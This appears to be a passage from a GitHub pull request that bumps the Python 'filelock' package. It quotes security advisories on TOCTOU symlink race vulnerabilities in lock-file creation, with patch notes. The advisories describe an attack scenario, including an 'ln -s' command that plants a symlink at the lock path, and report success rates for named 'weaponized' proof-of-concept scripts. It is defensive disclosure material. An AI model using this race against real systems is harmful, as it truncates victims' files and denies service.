Result: Trained ML model checkpoint truncated to 0 bytes # Impact: Weeks of training lost, ML pipeline DoS ``` ### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### [CVE-2026-22701](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) ## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.20.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.3) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.2...3.20.3) <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed - Fix TOCTOU symlink vulnerability in SoftFileLock by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#465](https://redirect.github.com/tox-dev/filelock/pull/465) **Full Changelog**: <tox-dev/filelock@3.20.2...3.20.3> ### [`v3.20.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.2) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.1...3.20.2) <!-- Release notes generated using configuration in .github/release.yml at main --> ##### What's Changed - Support Unix systems without O\_NOFOLLOW by [@​mwilliamson](https://redirect.github.com/mwilliamson) in [tox-dev/filelock#463](https://redirect.github.com/tox-dev/filelock/pull/463) - \[pre-commit.ci] pre-commit autoupdate by [@​pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot] in [tox-dev/filelock#464](https://redirect.github.com/tox-dev/filelock/pull/464) ##### New Contributors - [@​mwilliamson](https://redirect.github.com/mwilliamson) made their first contribution in [tox-dev/filelock#463](https://redirect.github.com/tox-dev/filelock/pull/463) **Full Changelog**: <tox-dev/filelock@3.20.1...3.20.2> ### [`v3.20.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.20.0...3.20.1) <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed - CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#461](https://redirect.github.com/tox-dev/filelock/pull/461) **Full Changelog**: <tox-dev/filelock@3.20.0...3.20.1> </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/vortex-data/vortex). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDIuOTUuMiIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hhbmdlbG9nL2Nob3JlIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Acquiring a lock uses the
O_NOFOLLOWflag when callingopen. However, this flag is not available on all platforms, such as GraalPy, causing anAttributeErrorto be raised when attempting to acquire a lock. According to the Python docs:This handles such platforms by checking for the presence of the
O_NOFOLLOWflag first.